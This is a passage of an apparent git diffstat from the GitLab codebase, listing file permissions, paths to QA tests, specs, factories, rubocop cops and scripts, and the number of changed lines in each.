-rw-r--r--qa/qa/fixtures/package_managers/nuget/nuget_upload_package.yaml.erb2
-rw-r--r--qa/qa/flow/alert_settings.rb45
-rw-r--r--qa/qa/page/component/content_editor.rb5
-rw-r--r--qa/qa/page/component/dropdown.rb14
-rw-r--r--qa/qa/page/component/groups_filter.rb45
-rw-r--r--qa/qa/page/component/invite_members_modal.rb20
-rw-r--r--qa/qa/page/component/wiki_page_form.rb10
-rw-r--r--qa/qa/page/file/form.rb16
-rw-r--r--qa/qa/page/group/members.rb11
-rw-r--r--qa/qa/page/merge_request/show.rb7
-rw-r--r--qa/qa/page/project/fork/new.rb16
-rw-r--r--qa/qa/page/project/pipeline/new.rb2
-rw-r--r--qa/qa/page/project/settings/alerts.rb25
-rw-r--r--qa/qa/page/project/settings/ci_variables.rb2
-rw-r--r--qa/qa/page/project/settings/protected_branches.rb9
-rw-r--r--qa/qa/page/project/show.rb11
-rw-r--r--qa/qa/page/project/web_ide/vscode.rb68
-rw-r--r--qa/qa/resource/api_fabricator.rb2
-rw-r--r--qa/qa/resource/base.rb6
-rw-r--r--qa/qa/resource/group_base.rb6
-rw-r--r--qa/qa/resource/group_runner.rb29
-rw-r--r--qa/qa/resource/issue.rb11
-rw-r--r--qa/qa/resource/merge_request.rb43
-rw-r--r--qa/qa/resource/project.rb40
-rw-r--r--qa/qa/resource/project_runner.rb29
-rw-r--r--qa/qa/resource/reusable.rb163
-rw-r--r--qa/qa/resource/reusable_collection.rb60
-rw-r--r--qa/qa/resource/reusable_group.rb43
-rw-r--r--qa/qa/resource/reusable_project.rb51
-rw-r--r--qa/qa/resource/runner.rb148
-rw-r--r--qa/qa/resource/runner_base.rb129
-rw-r--r--qa/qa/runtime/application_settings.rb18
-rw-r--r--qa/qa/runtime/browser.rb11
-rw-r--r--qa/qa/runtime/env.rb14
-rw-r--r--qa/qa/runtime/path.rb4
-rw-r--r--qa/qa/service/docker_run/base.rb4
-rw-r--r--qa/qa/service/docker_run/gitlab_runner.rb2
-rw-r--r--qa/qa/service/docker_run/smocker.rb37
-rw-r--r--qa/qa/service/kubernetes_cluster.rb8
-rw-r--r--qa/qa/specs/features/api/1_manage/import/import_github_repo_spec.rb38
-rw-r--r--qa/qa/specs/features/api/1_manage/integrations/webhook_events_spec.rb33
-rw-r--r--qa/qa/specs/features/api/1_manage/migration/gitlab_migration_issue_spec.rb26
-rw-r--r--qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb7
-rw-r--r--qa/qa/specs/features/api/1_manage/migration/gitlab_migration_project_spec.rb6
-rw-r--r--qa/qa/specs/features/api/1_manage/project_access_token_spec.rb10
-rw-r--r--qa/qa/specs/features/api/1_manage/user_inherited_access_spec.rb2
-rw-r--r--qa/qa/specs/features/api/1_manage/users_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb7
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb2
-rw-r--r--qa/qa/specs/features/api/4_verify/file_variable_spec.rb53
-rw-r--r--qa/qa/specs/features/api/4_verify/remove_runner_spec.rb33
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/integrations/pipeline_status_emails_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/create_project_badge_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/invite_group_to_project_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/project_owner_permissions_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/user/parent_group_access_termination_spec.rb3
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/user/user_inherited_access_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/pages/new_static_page_spec.rb12
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/project_wiki/project_based_page_deletion_spec.rb26
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/add_file_template_spec.rb3
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/add_file_template_spec.rb11
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/server_hooks_custom_error_message_spec.rb12
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide_new/add_new_directory_in_web_ide_spec.rb73
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/ci_variable/custom_variable_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/ci_variable/raw_variables_defined_in_yaml_spec.rb77
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb7
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/parent_child_pipelines_independent_relationship_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_with_image_pull_policy_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_with_manual_jobs_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/update_ci_file_with_pipeline_editor_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/testing/endpoint_coverage_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/infrastructure_registry/terraform_module_registry_spec.rb3
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/maven/maven_project_level_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_group_level_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_project_level_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/deploy_key/clone_using_deploy_key_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb1
-rw-r--r--qa/qa/specs/features/browser_ui/8_monitor/alert_management/alert_settings_create_new_alerts_spec.rb83
-rw-r--r--qa/qa/specs/features/browser_ui/8_monitor/alert_management/create_alert_using_authorization_key_spec.rb98
-rw-r--r--qa/qa/specs/features/browser_ui/8_monitor/incident_management/http_endpoint_integration_creates_alert_spec.rb36
-rw-r--r--qa/qa/specs/features/sanity/feature_flags_spec.rb116
-rw-r--r--qa/qa/specs/features/sanity/framework_spec.rb2
-rw-r--r--qa/qa/specs/features/sanity/interception_spec.rb42
-rw-r--r--qa/qa/specs/features/sanity/version_spec.rb44
-rw-r--r--qa/qa/specs/features/shared_contexts/advanced_search_shared_context.rb25
-rw-r--r--qa/qa/specs/features/shared_contexts/import/github_import_shared_context.rb36
-rw-r--r--qa/qa/specs/features/shared_contexts/import/gitlab_group_migration_common.rb13
-rw-r--r--qa/qa/specs/features/shared_contexts/merge_train_spec_with_user_prep.rb2
-rw-r--r--qa/qa/specs/features/shared_contexts/packages_registry_shared_context.rb4
-rw-r--r--qa/qa/specs/features/shared_contexts/variable_inheritance_shared_context.rb4
-rw-r--r--qa/qa/specs/helpers/context_selector.rb6
-rw-r--r--qa/qa/specs/spec_helper.rb25
-rw-r--r--qa/qa/support/api.rb4
-rw-r--r--qa/qa/support/formatters/allure_metadata_formatter.rb24
-rw-r--r--qa/qa/support/loglinking.rb68
-rw-r--r--qa/qa/support/system_logs/kibana.rb60
-rw-r--r--qa/qa/support/system_logs/sentry.rb27
-rw-r--r--qa/qa/tools/delete_subgroups.rb2
-rw-r--r--qa/qa/vendor/jenkins/job.rb12
-rw-r--r--qa/qa/vendor/smocker/event_payload.rb2
-rw-r--r--qa/qa/vendor/smocker/smocker_api.rb31
-rw-r--r--qa/spec/resource/api_fabricator_spec.rb5
-rw-r--r--qa/spec/resource/reusable_collection_spec.rb128
-rw-r--r--qa/spec/runtime/application_settings_spec.rb13
-rw-r--r--qa/spec/spec_helper.rb1
-rw-r--r--qa/spec/support/formatters/allure_metadata_formatter_spec.rb70
-rw-r--r--qa/spec/support/loglinking_spec.rb129
-rw-r--r--qa/spec/support/system_logs/kibana_spec.rb75
-rw-r--r--qa/spec/support/system_logs/sentry_spec.rb42
-rw-r--r--rubocop/check_graceful_task.rb2
-rw-r--r--rubocop/cop/background_migration/feature_category.rb64
-rw-r--r--rubocop/cop/gitlab/strong_memoize_attr.rb19
-rw-r--r--rubocop/cop/lint/last_keyword_argument.rb8
-rw-r--r--rubocop/rubocop-migrations.yml6
-rw-r--r--rubocop/rubocop-ruby30.yml4
-rw-r--r--scripts/allowed_warnings.txt15
-rwxr-xr-xscripts/build_qa_image4
-rwxr-xr-xscripts/decomposition/generate-loose-foreign-key2
-rw-r--r--scripts/frontend/extract_gettext_all.js2
-rw-r--r--scripts/gitlab_component_helpers.sh4
-rwxr-xr-xscripts/glfm/run-spec-tests.sh23
-rw-r--r--scripts/lib/glfm/verify_all_generated_files_are_up_to_date.rb2
-rwxr-xr-xscripts/lint-doc-quality.sh24
-rwxr-xr-xscripts/review_apps/automated_cleanup.rb2
-rw-r--r--scripts/review_apps/base-config.yaml2
-rwxr-xr-xscripts/review_apps/review-apps.sh44
-rwxr-xr-xscripts/rspec_check_order_dependence2
-rwxr-xr-xscripts/setup/as-if-jh.sh5
-rwxr-xr-xscripts/setup/find-jh-branch.rb2
-rwxr-xr-xscripts/static-analysis28
-rwxr-xr-xscripts/trigger-build.rb14
-rw-r--r--scripts/utils.sh31
-rwxr-xr-xscripts/verify-tff-mapping14
-rw-r--r--sidekiq_cluster/cli.rb2
-rw-r--r--spec/commands/metrics_server/metrics_server_spec.rb3
-rw-r--r--spec/commands/sidekiq_cluster/cli_spec.rb12
-rw-r--r--spec/components/previews/pajamas/button_component_preview.rb6
-rw-r--r--spec/config/inject_enterprise_edition_module_spec.rb2
-rw-r--r--spec/config/mail_room_spec.rb8
-rw-r--r--spec/contracts/provider/helpers/contract_source_helper.rb15
-rw-r--r--spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_batch_helper.rb2
-rw-r--r--spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_metadata_helper.rb2
-rw-r--r--spec/contracts/provider/pact_helpers/project/merge_requests/show/get_discussions_helper.rb2
-rw-r--r--spec/contracts/provider/pact_helpers/project/pipeline_schedules/edit/put_edit_a_pipeline_schedule_helper.rb2
-rw-r--r--spec/contracts/provider/pact_helpers/project/pipelines/index/get_list_project_pipelines_helper.rb2
-rw-r--r--spec/contracts/provider/pact_helpers/project/pipelines/new/post_create_a_new_pipeline_helper.rb2
-rw-r--r--spec/contracts/provider/pact_helpers/project/pipelines/show/delete_pipeline_helper.rb2
-rw-r--r--spec/contracts/provider/pact_helpers/project/pipelines/show/get_pipeline_header_data_helper.rb2
-rw-r--r--spec/contracts/provider_specs/helpers/provider/contract_source_helper_spec.rb23
-rw-r--r--spec/contracts/publish-contracts.sh50
-rw-r--r--spec/controllers/admin/application_settings/appearances_controller_spec.rb2
-rw-r--r--spec/controllers/admin/application_settings_controller_spec.rb46
-rw-r--r--spec/controllers/admin/clusters_controller_spec.rb4
-rw-r--r--spec/controllers/concerns/check_rate_limit_spec.rb4
-rw-r--r--spec/controllers/concerns/content_security_policy_patch_spec.rb116
-rw-r--r--spec/controllers/groups/clusters_controller_spec.rb4
-rw-r--r--spec/controllers/groups/imports_controller_spec.rb2
-rw-r--r--spec/controllers/import/available_namespaces_controller_spec.rb109
-rw-r--r--spec/controllers/import/bulk_imports_controller_spec.rb85
-rw-r--r--spec/controllers/import/github_controller_spec.rb41
-rw-r--r--spec/controllers/import/phabricator_controller_spec.rb13
-rw-r--r--spec/controllers/projects/artifacts_controller_spec.rb32
-rw-r--r--spec/controllers/projects/clusters_controller_spec.rb4
-rw-r--r--spec/controllers/projects/deploy_keys_controller_spec.rb5
-rw-r--r--spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb28
-rw-r--r--spec/controllers/projects/environments_controller_spec.rb88
-rw-r--r--spec/controllers/projects/group_links_controller_spec.rb77
-rw-r--r--spec/controllers/projects/merge_requests/creations_controller_spec.rb2
-rw-r--r--spec/controllers/projects/merge_requests/diffs_controller_spec.rb55
-rw-r--r--spec/controllers/projects/merge_requests_controller_spec.rb32
-rw-r--r--spec/controllers/projects/pages_domains_controller_spec.rb6
-rw-r--r--spec/controllers/projects/pipelines_controller_spec.rb7
-rw-r--r--spec/controllers/projects/protected_branches_controller_spec.rb29
-rw-r--r--spec/controllers/projects/releases/evidences_controller_spec.rb2
-rw-r--r--spec/controllers/registrations/welcome_controller_spec.rb6
-rw-r--r--spec/controllers/registrations_controller_spec.rb15
-rw-r--r--spec/controllers/uploads_controller_spec.rb74
-rw-r--r--spec/db/docs_spec.rb53
-rw-r--r--spec/db/migration_spec.rb2
-rw-r--r--spec/db/schema_spec.rb10
-rw-r--r--spec/factories/abuse_reports.rb1
-rw-r--r--spec/factories/analytics/cycle_analytics/aggregations.rb2
-rw-r--r--spec/factories/appearances.rb4
-rw-r--r--spec/factories/bulk_import/entities.rb1
-rw-r--r--spec/factories/ci/builds.rb14
-rw-r--r--spec/factories/ci/job_artifacts.rb8
-rw-r--r--spec/factories/ci/runner_machines.rb8
-rw-r--r--spec/factories/design_management/designs.rb5
-rw-r--r--spec/factories/groups.rb2
-rw-r--r--spec/factories/integrations.rb10
-rw-r--r--spec/factories/ml/candidates.rb9
-rw-r--r--spec/factories/personal_access_tokens.rb6
-rw-r--r--spec/factories/projects/build_artifacts_size_refreshes.rb4
-rw-r--r--spec/factories/wiki_pages.rb2
-rw-r--r--spec/features/abuse_report_spec.rb152
-rw-r--r--spec/features/admin/admin_broadcast_messages_spec.rb98
-rw-r--r--spec/features/admin/admin_groups_spec.rb18
-rw-r--r--spec/features/admin/admin_projects_spec.rb7
-rw-r--r--spec/features/admin/admin_sees_background_migrations_spec.rb31
-rw-r--r--spec/features/admin/admin_users_spec.rb6
-rw-r--r--spec/features/admin/dashboard_spec.rb3
-rw-r--r--spec/features/admin/users/users_spec.rb6
-rw-r--r--spec/features/callouts/registration_enabled_spec.rb2
-rw-r--r--spec/features/commit_spec.rb4
-rw-r--r--spec/features/dashboard/activity_spec.rb2
-rw-r--r--spec/features/dashboard/groups_list_spec.rb2
-rw-r--r--spec/features/dashboard/issuables_counter_spec.rb27
-rw-r--r--spec/features/dashboard/issues_spec.rb2
-rw-r--r--spec/features/dashboard/merge_requests_spec.rb4
-rw-r--r--spec/features/dashboard/milestones_spec.rb2
-rw-r--r--spec/features/dashboard/navbar_spec.rb16
-rw-r--r--spec/features/dashboard/projects_spec.rb2
-rw-r--r--spec/features/dashboard/snippets_spec.rb2
-rw-r--r--spec/features/dashboard/todos/todos_spec.rb55
-rw-r--r--spec/features/dashboard/user_filters_projects_spec.rb2
-rw-r--r--spec/features/error_tracking/user_sees_error_index_spec.rb2
-rw-r--r--spec/features/global_search_spec.rb4
-rw-r--r--spec/features/groups/import_export/connect_instance_spec.rb6
-rw-r--r--spec/features/groups/import_export/migration_history_spec.rb4
-rw-r--r--spec/features/groups/labels/sort_labels_spec.rb20
-rw-r--r--spec/features/groups/members/manage_members_spec.rb5
-rw-r--r--spec/features/groups/members/sort_members_spec.rb4
-rw-r--r--spec/features/groups/merge_requests_spec.rb2
-rw-r--r--spec/features/groups/milestones_sorting_spec.rb14
-rw-r--r--spec/features/groups/navbar_spec.rb2
-rw-r--r--spec/features/groups/new_group_page_spec.rb2
-rw-r--r--spec/features/incidents/user_views_incident_spec.rb2
-rw-r--r--spec/features/issues/group_label_sidebar_spec.rb2
-rw-r--r--spec/features/issues/issue_header_spec.rb12
-rw-r--r--spec/features/issues/user_creates_issue_spec.rb5
-rw-r--r--spec/features/issues/user_edits_issue_spec.rb7
-rw-r--r--spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb2
-rw-r--r--spec/features/jira_connect/branches_spec.rb12
-rw-r--r--spec/features/markdown/observability_spec.rb74
-rw-r--r--spec/features/markdown/sandboxed_mermaid_spec.rb2
-rw-r--r--spec/features/merge_request/admin_views_hidden_merge_request_spec.rb27
-rw-r--r--spec/features/merge_request/batch_comments_spec.rb2
-rw-r--r--spec/features/merge_request/close_reopen_report_toggle_spec.rb22
-rw-r--r--spec/features/merge_request/maintainer_edits_fork_spec.rb2
-rw-r--r--spec/features/merge_request/merge_request_discussion_lock_spec.rb2
-rw-r--r--spec/features/merge_request/user_accepts_merge_request_spec.rb2
-rw-r--r--spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb2
-rw-r--r--spec/features/merge_request/user_approves_spec.rb2
-rw-r--r--spec/features/merge_request/user_assigns_themselves_reviewer_spec.rb2
-rw-r--r--spec/features/merge_request/user_assigns_themselves_spec.rb2
-rw-r--r--spec/features/merge_request/user_awards_emoji_spec.rb2
-rw-r--r--spec/features/merge_request/user_clicks_merge_request_tabs_spec.rb2
-rw-r--r--spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb2
-rw-r--r--spec/features/merge_request/user_comments_on_commit_spec.rb2
-rw-r--r--spec/features/merge_request/user_comments_on_diff_spec.rb2
-rw-r--r--spec/features/merge_request/user_comments_on_merge_request_spec.rb2
-rw-r--r--spec/features/merge_request/user_creates_image_diff_notes_spec.rb2
-rw-r--r--spec/features/merge_request/user_creates_merge_request_spec.rb2
-rw-r--r--spec/features/merge_request/user_creates_mr_spec.rb2
-rw-r--r--spec/features/merge_request/user_customizes_merge_commit_message_spec.rb2
-rw-r--r--spec/features/merge_request/user_edits_assignees_sidebar_spec.rb2
-rw-r--r--spec/features/merge_request/user_edits_merge_request_spec.rb2
-rw-r--r--spec/features/merge_request/user_edits_mr_spec.rb2
-rw-r--r--spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb2
-rw-r--r--spec/features/merge_request/user_expands_diff_spec.rb2
-rw-r--r--spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb2
-rw-r--r--spec/features/merge_request/user_locks_discussion_spec.rb2
-rw-r--r--spec/features/merge_request/user_manages_subscription_spec.rb2
-rw-r--r--spec/features/merge_request/user_marks_merge_request_as_draft_spec.rb2
-rw-r--r--spec/features/merge_request/user_merges_immediately_spec.rb2
-rw-r--r--spec/features/merge_request/user_merges_merge_request_spec.rb2
-rw-r--r--spec/features/merge_request/user_merges_only_if_pipeline_succeeds_spec.rb2
-rw-r--r--spec/features/merge_request/user_merges_when_pipeline_succeeds_spec.rb2
-rw-r--r--spec/features/merge_request/user_opens_checkout_branch_modal_spec.rb2
-rw-r--r--spec/features/merge_request/user_opens_context_commits_modal_spec.rb2
-rw-r--r--spec/features/merge_request/user_posts_diff_notes_spec.rb2
-rw-r--r--spec/features/merge_request/user_posts_notes_spec.rb2
-rw-r--r--spec/features/merge_request/user_rebases_merge_request_spec.rb2
-rw-r--r--spec/features/merge_request/user_resolves_conflicts_spec.rb2
-rw-r--r--spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb2
-rw-r--r--spec/features/merge_request/user_resolves_outdated_diff_discussions_spec.rb3
-rw-r--r--spec/features/merge_request/user_resolves_wip_mr_spec.rb2
-rw-r--r--spec/features/merge_request/user_reverts_merge_request_spec.rb2
-rw-r--r--spec/features/merge_request/user_reviews_image_spec.rb2
-rw-r--r--spec/features/merge_request/user_scrolls_to_note_on_load_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_breadcrumb_links_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb7
-rw-r--r--spec/features/merge_request/user_sees_cherry_pick_modal_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_closing_issues_message_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_deleted_target_branch_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_diff_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_discussions_navigation_spec.rb27
-rw-r--r--spec/features/merge_request/user_sees_discussions_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_merge_button_depending_on_unresolved_discussions_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_merge_widget_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_mr_from_deleted_forked_project_spec.rb3
-rw-r--r--spec/features/merge_request/user_sees_mr_with_deleted_source_branch_spec.rb3
-rw-r--r--spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_page_metadata_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_pipelines_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_system_notes_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_versions_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_wip_help_message_spec.rb2
-rw-r--r--spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb2
-rw-r--r--spec/features/merge_request/user_squashes_merge_request_spec.rb2
-rw-r--r--spec/features/merge_request/user_suggests_changes_on_diff_spec.rb2
-rw-r--r--spec/features/merge_request/user_toggles_whitespace_changes_spec.rb2
-rw-r--r--spec/features/merge_request/user_tries_to_access_private_project_info_through_new_mr_spec.rb2
-rw-r--r--spec/features/merge_request/user_uses_quick_actions_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_auto_expanding_diff_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_diffs_commit_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_diffs_file_by_file_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_diffs_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_merge_request_from_deleted_fork_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_open_merge_request_spec.rb2
-rw-r--r--spec/features/merge_requests/admin_views_hidden_merge_requests_spec.rb27
-rw-r--r--spec/features/merge_requests/filters_generic_behavior_spec.rb2
-rw-r--r--spec/features/merge_requests/rss_spec.rb2
-rw-r--r--spec/features/merge_requests/user_exports_as_csv_spec.rb2
-rw-r--r--spec/features/merge_requests/user_filters_by_approvals_spec.rb2
-rw-r--r--spec/features/merge_requests/user_filters_by_assignees_spec.rb2
-rw-r--r--spec/features/merge_requests/user_filters_by_deployments_spec.rb2
-rw-r--r--spec/features/merge_requests/user_filters_by_draft_spec.rb2
-rw-r--r--spec/features/merge_requests/user_filters_by_labels_spec.rb2
-rw-r--r--spec/features/merge_requests/user_filters_by_milestones_spec.rb2
-rw-r--r--spec/features/merge_requests/user_filters_by_multiple_criteria_spec.rb2
-rw-r--r--spec/features/merge_requests/user_filters_by_target_branch_spec.rb2
-rw-r--r--spec/features/merge_requests/user_lists_merge_requests_spec.rb2
-rw-r--r--spec/features/merge_requests/user_mass_updates_spec.rb2
-rw-r--r--spec/features/merge_requests/user_sees_empty_state_spec.rb2
-rw-r--r--spec/features/merge_requests/user_sorts_merge_requests_spec.rb2
-rw-r--r--spec/features/merge_requests/user_views_all_merge_requests_spec.rb2
-rw-r--r--spec/features/merge_requests/user_views_closed_merge_requests_spec.rb2
-rw-r--r--spec/features/merge_requests/user_views_merged_merge_requests_spec.rb2
-rw-r--r--spec/features/merge_requests/user_views_open_merge_requests_spec.rb2
-rw-r--r--spec/features/milestone_spec.rb8
-rw-r--r--spec/features/nav/new_nav_toggle_spec.rb14
-rw-r--r--spec/features/oauth_registration_spec.rb17
-rw-r--r--spec/features/profiles/chat_names_spec.rb2
-rw-r--r--spec/features/profiles/user_visits_profile_preferences_page_spec.rb10
-rw-r--r--spec/features/project_variables_spec.rb5
-rw-r--r--spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb12
-rw-r--r--spec/features/projects/commit/cherry_pick_spec.rb4
-rw-r--r--spec/features/projects/diffs/diff_show_spec.rb2
-rw-r--r--spec/features/projects/environments/environment_spec.rb10
-rw-r--r--spec/features/projects/files/template_type_dropdown_spec.rb143
-rw-r--r--spec/features/projects/files/undo_template_spec.rb19
-rw-r--r--spec/features/projects/fork_spec.rb15
-rw-r--r--spec/features/projects/import_export/export_file_spec.rb4
-rw-r--r--spec/features/projects/issues/design_management/user_uploads_designs_spec.rb2
-rw-r--r--spec/features/projects/jobs_spec.rb14
-rw-r--r--spec/features/projects/labels/sort_labels_spec.rb20
-rw-r--r--spec/features/projects/members/manage_members_spec.rb22
-rw-r--r--spec/features/projects/members/sorting_spec.rb4
-rw-r--r--spec/features/projects/milestones/milestones_sorting_spec.rb15
-rw-r--r--spec/features/projects/navbar_spec.rb4
-rw-r--r--spec/features/projects/new_project_spec.rb4
-rw-r--r--spec/features/projects/pages/user_edits_settings_spec.rb2
-rw-r--r--spec/features/projects/pipelines/legacy_pipelines_spec.rb 0
-rw-r--r--spec/features/projects/pipelines/pipeline_spec.rb44
-rw-r--r--spec/features/projects/pipelines/pipelines_spec.rb21
-rw-r--r--spec/features/projects/settings/monitor_settings_spec.rb2
-rw-r--r--spec/features/projects/settings/pipelines_settings_spec.rb24
-rw-r--r--spec/features/projects/settings/user_manages_project_members_spec.rb7
-rw-r--r--spec/features/projects/settings/user_searches_in_settings_spec.rb1
-rw-r--r--spec/features/projects/terraform_spec.rb11
-rw-r--r--spec/features/projects/tree/create_directory_spec.rb8
-rw-r--r--spec/features/projects/tree/create_file_spec.rb7
-rw-r--r--spec/features/projects/tree/tree_show_spec.rb6
-rw-r--r--spec/features/projects/tree/upload_file_spec.rb7
-rw-r--r--spec/features/projects_spec.rb8
-rw-r--r--spec/features/protected_branches_spec.rb2
-rw-r--r--spec/features/protected_tags_spec.rb2
-rw-r--r--spec/features/runners_spec.rb476
-rw-r--r--spec/features/search/user_searches_for_code_spec.rb59
-rw-r--r--spec/features/signed_commits_spec.rb12
-rw-r--r--spec/features/snippets/show_spec.rb21
-rw-r--r--spec/features/snippets/user_creates_snippet_spec.rb2
-rw-r--r--spec/features/triggers_spec.rb14
-rw-r--r--spec/features/user_sees_revert_modal_spec.rb2
-rw-r--r--spec/features/user_sorts_things_spec.rb2
-rw-r--r--spec/features/users/login_spec.rb3
-rw-r--r--spec/finders/access_requests_finder_spec.rb16
-rw-r--r--spec/finders/branches_finder_spec.rb43
-rw-r--r--spec/finders/ci/pipelines_finder_spec.rb10
-rw-r--r--spec/finders/ci/runners_finder_spec.rb12
-rw-r--r--spec/finders/members_finder_spec.rb306
